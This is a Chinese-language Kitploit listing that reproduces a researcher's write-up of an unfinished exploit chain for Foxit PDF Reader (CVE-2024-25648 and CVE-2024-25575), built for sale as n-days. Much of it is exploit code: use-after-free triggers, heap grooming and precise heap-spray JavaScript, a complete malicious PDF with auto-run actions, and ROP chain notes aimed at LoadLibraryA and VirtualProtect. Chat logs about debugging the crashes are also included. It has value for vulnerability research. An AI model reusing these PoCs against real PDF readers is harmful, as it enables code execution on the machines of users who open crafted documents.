Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HackerLife.exe — 撰写漏洞利用失败的链条,以及尝试出售你的第一个 N-day 漏洞的经历 | Kitploit
工具/GitHubGitHub/spiralbl0ck/hackerlife.exe
漏洞分析漏洞利用逆向工程Shellcode论文与研究学习与教育Payload 开发二进制利用
GitHubspiralbl0ck/hackerlife.exe

HackerLife.exe

撰写漏洞利用失败的链条,以及尝试出售你的第一个 N-day 漏洞的经历

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HackerLife.exe

关于一条未能完全武器化的漏洞利用链的 Writeup,以及尝试出售你的第一个 nday 时的经验。

那么这个故事讲的是什么呢?用我们的话说就是“2025 年,作为一名年轻的安全研究员,在瞬息万变且复杂的环境中努力闯出一片天地的生存体验”。2025 年来临时,我生活中发生了一些事情,促使我试着想办法赚点钱。不幸的是,至今都没能如愿,因为你会看到,我失败得一塌糊涂。于是团队决定尝试利用我们的技能。有人通过 ssn 联系了我们。这个人找上来时,自我介绍为一家即将成立的网络安全初创公司,来自世界上某个属于 mnna 的国家,算是北约的朋友(尽量不透露太多关于这个人的细节,反正也不重要)。他们联系我们是希望找一个人帮助改进他们的产品——一个类似 Metasploit Premium 框架的东西,基本上就是需要为他们的框架提供 nday。我们愉快地回应说,愿意在收取一定费用的前提下提供帮助(同样不重要,因为交易最终也没达成)。于是我们提出了一系列我们认为可能可用的 CVE,打算在一个半月内做出一个漏洞利用。你可以在这里查看我们提出的产品。catalogue_final.pdf。总之,这是给那些想在网络领域小试牛刀的年轻人的第一条重要经验:在选择 CVE 时,务必花大约 3-4 周时间先审查该 CVE,再开始研究。在上述目录中你会发现,其中一个漏洞利用是一条链,一条 PDF 链……我们只是粗略地看了描述,运行了一两次提供的 PoC,看了看 CWE 是什么,然后决定:嘿,我们也许能把这条链变成一个完全武器化的漏洞利用。但事实远非如此。

因为世事难料,我有一场考试要准备,所以我们决定从 2 月 20 日开始实际编写漏洞利用程序。2 月 20 日到了,我们开始着手漏洞利用。我们从一个“相对简单”的东西开始(请注意这里的讽刺),我们从 CVE-2024-25648 开始。但在我们真正开始之前,我们先尝试理解 PDF 的结构,或者更准确地说,只是对它们略作了解。因为稍后你会看到,我们不得不在一个“合适的文档”中,通过某些事件触发不同的动作来搞崩它。在这里,我们必须感谢 ange albertini 把这类该死的东西整理得井井有条。以下是我们用来理解 PDF 结构的资源:https://www.youtube.com/watch?v=q6KgFezu8tw 、 https://www.youtube.com/watch?v=8g6G96nn7Mo 、 https://www.youtube.com/live/xZPK04a5ltc 。为什么这很重要?说实话我忘了,但我们决定在这条链中,漏洞利用的一部分在打开 PDF 时于后台运行,另一部分在关闭 PDF 时运行。理想情况下,漏洞利用应该是在关闭时触发 CVE-2024-25648,在打开时触发 CVE-2024-25575。具体来说,为了能够为 UAF 的精确利用构建精确的内存布局,我们需要一个信息泄漏来计算 ROP gadget 的地址。因此漏洞利用的流程本应是:类型混淆 -> 信息泄漏 --> gc 清理堆布局 --> 精确喷射 --> UAF --> EIP 控制 -8 --> 栈迁移 --> ROP 链 --> shellcode --> 弹出 calc.exe。在当前阶段,你只拥有 UAF 和堆喷射,以及理论上(未经测试)两条拟议的 ROP 链。现在,不深入细节,任何 UAF 利用的关键部分显然是一个“分配器原语”。那是什么?简单来说,就是让你能够控制你想分配的内容和大小。幸运的是,有其他人在这个主题上做过一些研究。于是我们以 https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once 作为起点。所以我们知道我们的研究必须基于类似这样的东西开始:

function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15}

但我们当时并不知道具体该怎么做。于是我们回去阅读了公告,然后试图找出漏洞对象的大小。我们是怎么做的?说实话,纯靠运气。我们在 RlptFreeHeap、Math.atan、Math.sin 以及最终的 RtlAllocateHeap 里插入了钩子(抱歉,在研究过程中它们被弄乱了,我们不知怎么把它们弄丢了)。在此插入跟踪对象的图片。于是在观察内存分配中的一些模式后,我们得出结论:漏洞对象的大小是 0x70。接下来我们要做的,就是尝试 reclaim 这个对象。一般来说,利用 UAF 时,控制该对象有两个前提:1. 知道大小;2. 能够在 free 和 reuse 之间放置一次新的分配。这正是我们所做的。正如你所见:

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

我们把它放在 deletePages 之间——为了看到删除操作,我们在中间放入了对该对象的重新分配。然后,你瞧,插入 41414141 EIP 控制的图片。之前我们谈到了漏洞利用流程或者说漏洞利用架构,我们提到过想要调用 gc 来清理堆。对于不熟悉如何调用 gc 来清理堆状态的人,这里就不细说了,方法有很多,其中一种就是创建几次非常大的对象,然后就能完成。这个的实际实现就是下面这个函数:

function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

这没什么新鲜的,只是想指出这个实现中的一个快速事实。还有一件事要讲,因为这个漏洞利用针对的是 32 位软件。在 Windows 上有一种叫做精确堆喷射(precise heap spray)的概念。那是什么?在 Windows 上(我知道在 Linux 上应该也能做,但我只在 Windows 上见过),你可以为 32 位空间每次分配到一个可预测的地址。老实说,这也不是什么新鲜事。一旦你理解了它,就很简单;我曾经透彻地理解过,但现在又忘了 :)))。总之,在 Windows 10 上,你无法用 VirtualAlloc 为 VABlocks 分配大小为 0x7fb0 的内存。但幸运的是,你可以用一个技巧:按 0x10000、0x40000 以及另一个大小增量分配,重复大概 0x300 次。这样就可以做到了。同样,这也不是什么新鲜事,懂的都懂。下面是具体实现:

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

没什么新鲜的,把同样的 payload 从一个 0x10000 复制到另一个 0x10000,直到组成一个 0x40000 长的十六进制字符串,然后直接喷射。不过我必须提一下,这在某种程度上是有 bug 的,因为虽然它喷射了很多,而且时不时我们能拿到一个精确地址,但这仍然需要一点优化/改进,因为……好吧,我忘了具体是怎么做的了。插入 windbg 图片并附上我对所见内容的解释。在结束这一章之前,有必要提一下我们是如何为 Math.atan、Math.sin 和 RlptFreeHeap/RtlpAllocateHeap 创建钩子的。对于 rtlp 函数,我参加过一次关于旧版 Foxit 的漏洞利用开发培训,从那里得到了一些钩子。至于 Math.atan 和 Math.sin,ruben……(插入说明)。于是我们得出了这样的结果(插入钩子)(插入 windbg 图片 + 对那里发生情况的说明)。

现在进入博客的第二部分:CVE-2024-25575

不再深入讨论 Talos 那篇 writeup 的细节。在我们把目光投向这个漏洞的第二部分两周后,ruben 提醒我,这可能并不是一个严格的类型混淆漏洞,而是一个 UAF,其副作用是字符串上的类型混淆。不管怎样,这听起来像是一个很好的漏洞利用开发场景。其实不然。所以从一开始,你能用的就只剩这里这些东西:

var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;

app.activeDocs[0].deletePages();

app.fs.transitions;

lock_object.defineGetter('fields', function () {});

而你的下一个目标,就是搞清楚到底怎么替换 app.fs.transitions。当时,我和 ruben 花了大约 3 个星期,抓耳挠腮地想办法,因为根据 Adobe 的文档,app.fs.transitions 是一个只读不可写的对象(这对漏洞利用来说可不是个好兆头)。其次,我们无法用钩子正确确定 app.fs.transitions 的大小。你可能会问为什么?好吧,虽然我们在上一部分中足够幸运地确定了那个大小,但这次我们运气不好,因为我们意识到这里的 size 参数与钩子并不对应,因此我们无法正确确定确切大小。那我们是怎么摆脱这个困境的呢?在那过去的 3 周里,有一天我们在推特上看到有人发布了一个面向 ghidra/ida 的 MCP 服务器,我们说可以试试。大概跟 claude 争论了一两天之后,它不知怎么生成了这个庞然大物。 message.txt%PDF-1.5

1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R /AA << /WC 3 0 R
>> endobj

2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]

endobj

3 0 obj << /S /JavaScript /JS(

//var sprayArr = []; var sprayArr2 = [];

var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }

// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }

function type_conf() { app.alert("Starting alternative exploitation approach...");

root@kitploit:~
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];

for (var i = 0; i < fieldTypes.length; i++) {
    try {
        fields[fieldTypes[i]] = app.activeDocs[0].addField(
            'Field_' + fieldTypes[i], 
            fieldTypes[i], 
            0, 
            [10, 50 + i*40, 100, 80 + i*40]
        );
        app.alert("Created " + fieldTypes[i] + " field");
    } catch (e) {
        app.alert("Error creating " + fieldTypes[i] + " field: " + e);
    }
}

// Step 2: Store references to various objects from these fields
var objects = [];
try {
    // Get various objects from different field types to increase chances of success
    if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
    if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
    if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
    if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
    
    app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
    app.alert("Error storing object references: " + e);
}

// Step 3: Call deletePages() with specific parameters
try {
    app.activeDocs[0].deletePages({nStart: 0, nCount: 0});  // Try not to delete any pages
    app.alert("deletePages called with parameters");
} catch (e) {
    app.alert("Error in deletePages: " + e);
    // Continue anyway
}

// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];

// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
    stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}

// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
    var obj = {
        marker: 0xABCD0000 + i,
        index: i,
        name: "Marker" + i
    };
    bufferObjects.push(obj);
}

// Step 5: Access transitions and other APIs to influence memory
try {
    // Access app.fs.transitions
    app.fs.transitions;
    app.alert("Transitions accessed");
    
    // Access other properties that might influence memory
    if (app.fs.fonts) app.alert("Fonts accessed");
    if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
    app.alert("Error accessing app properties: " + e);
}

// Step 6: Trigger JavaScript garbage collection
try {
    for (var i = 0; i < 3; i++) {
        var largeArray = new Array(1000000);
        largeArray = null;
    }
    app.alert("Garbage collection potentially triggered");
} catch (e) {
    app.alert("Error triggering GC: " + e);
}

// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];

for (var i = 0; i < objects.length; i++) {
    var objName = objects[i].name;
    var obj = objects[i].obj;
    
    results.push("Examining " + objName + ":");
    
    try {
        // Check object type
        results.push("- Type: " + typeof obj);
        
        // Try to convert to string
        var asString = String(obj);
        results.push("- String representation: " + asString);
        
        // Look for patterns that might indicate addresses
        var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
        if (hexMatches) {
            for (var m = 0; m < hexMatches.length; m++) {
                results.push("- Potential address: 0x" + hexMatches[m]);
            }
        }
        
        // Try JSON serialization with error handling
        try {
            var asJson = JSON.stringify(obj);
            if (asJson && asJson.length > 2) {  // Not empty object
                results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
            }
        } catch (jsonError) {
            results.push("- JSON error: " + jsonError);
        }
        
    } catch (e) {
        results.push("- Error examining object: " + e);
    }
}

// Report results
for (var i = 0; i < results.length; i++) {
    app.alert(results[i]);
}

app.alert("Alternative exploitation completed");

}

type_conf();

root@kitploit:~
)

endobj

4 0 obj << /S /JavaScript /JS(

/* ROP

FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax

we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian

and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian

at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such

arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

因为我们没有 writeprocessmemory,所以我们只能使用 loadlibrarya

43 3A 等于 C:\Users\Vlad\Desktop\hack.dll

0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)

或者如果我们想要 virtualrpotect 链作为 payload

skeleton = RopChain()

skeleton += 0x41414141 # VirtualAlloc address

skeleton += 0x42424242 # shellcode return address to return to after VirtualAlloc is called

skeleton += 0x43434343 # lpAddress (shellcode address)

skeleton += 0x44444444 # dwSize (0x1)

skeleton += 0x45454545 # flAllocationType (0x1000)

skeleton += 0x46464646 # flProtect (0x40)

rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #this needs to be changed to point to shellcode rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) 因为它是相同的 rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = size for shellcode here rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

*/

var global_address_spray = [];

function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }

function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

var sprayArr = []; var sprayArr2 = [];

var theSize = 0x70-8;

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

//start("enabling the heap hook"); //end("disabling the heap hook");

//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }

//store_shellcode(); //uaf(); //console.show(); )>>

5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj

trailer << /Root 1 0 R
/Size 12

startxref

%%EOF

现在我们做的,我想你可以称之为回归测试,鲁本拿着这个 POC 开始逐行拆解。据我回忆,整个过程大约花了两周时间,但有趣的是,整个对话是这样的:

vlad: 我控制住了 ecx!!!!!! 接近信息泄露了 用这个你完全控制 ecx,但我不知道如何替换这个字符串:object is dead,不过你大致能控制它崩溃的位置 随便贴个 poc 而这个你几乎控制 ecx,你控制 ecx+8,懂吗?算了,请让它信息泄露吧 🙂 随便发个 poc 在这一个里你控制字符串 'object is dead' 所以应该很接近了 正如我们已经得出的结论,exp 不是 100%,但也不需要是 100%,只需要可靠。所以根据我的测试,5/3 的输出就是上面那个 对于部分控制 object_is_dead 的那个,100% 会以 ecx 受控的方式崩溃

reuben: 我正在尝试运行这个 poc,结果这完全是一个不同的 bug,哈哈哈 vlad: 我能 VC 一下吗 来问问 你的发现? 什么 完全不同的 bug 怎么会?? 0day??? 你知道我们尝试访问 app.fs.transitions 这让我有点怀疑:这到底是 0day,还是交叉 bug 混淆,或者是不同的 CVE?当然,我们又用了 delete_pages 以及 app.fs.transition reuben: 之前它会在某个地方随机崩溃,我不知道发生了什么 但是 现在它总在同一个地方崩溃(已经复现多次了) 但听我说 它是在你调用 app.fs.transitions 之前就崩了 vlad: 这到底是什么人生啊,兄弟?? reuben: 我还不知道如何控制那里的数据,但我很确定有什么东西可以替换它 vlad: 好,让我问你这个问题 你现在手上的那些 poc 它们显示出了一定的控制权 就 ecx 而言 而且照你这么说,app.fs.transitions 没用,对吧 酷 所以我们走在正确的道路上,对吧 reuben: 是的,没有 app.fs.transitions 我们也能做到,而且我说这话已经很久了,只是当时不知道怎么触发它(说实话现在也不知道) vlad: 好吧,会不会像你说的那样 真正的 bug 更像 uaf 而不是类型混淆??? 而 type conf 只是因为 app.fs.transitions?

在思考过程中我们学到了一点,这对年轻研究人员来说可能也至关重要:如果一个 bug 在公告中看起来像是类型混淆,但从你的分析来看它表现得像另一个类别,这可能是一个信号——在这种情况下,或者更概括地说,如果你想用类型混淆来做信息泄露,但该 bug 在 Windows 上表现得像 uaf,那你在很大程度上将无法实现信息泄露。

reuben: 我还不能说 但听我说 我从你上一个 poc 中删除了第 11 步 它仍然能触发

第 11 步是你调用 app.fs.transitions 的地方 不过我们还是不知道能不能用它来泄露什么,哈哈

vlad: 同意 但至少我们现在有了一些控制权 不过这也算不上什么真正的控制 因为这可能只是巧合,而我们实际上无法控制它,哈哈哈 我们又回到了起点 这到底是什么人生????

reuben: 好,我已经改了现在崩溃时出现的文本 😄

vlad: 什么??? 真的? 你获得控制了?

看到一线曙光了

reuben: 还不完全是,因为文本是 UTF-16LE,但我或许能做点什么,看看再说

reuben: image-2

reuben: 这是另一个,意味着我可能可以绕过 utf-16le 限制

0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.

......... 为了简洁和心理健康,此处省略部分对话

直到某个时候,我们进入了“最终 poc”,然后卡住了,它长这样: function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

gFields.combo = app.activeDocs[0].addField(
  "HAHAHAHAHAH",
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

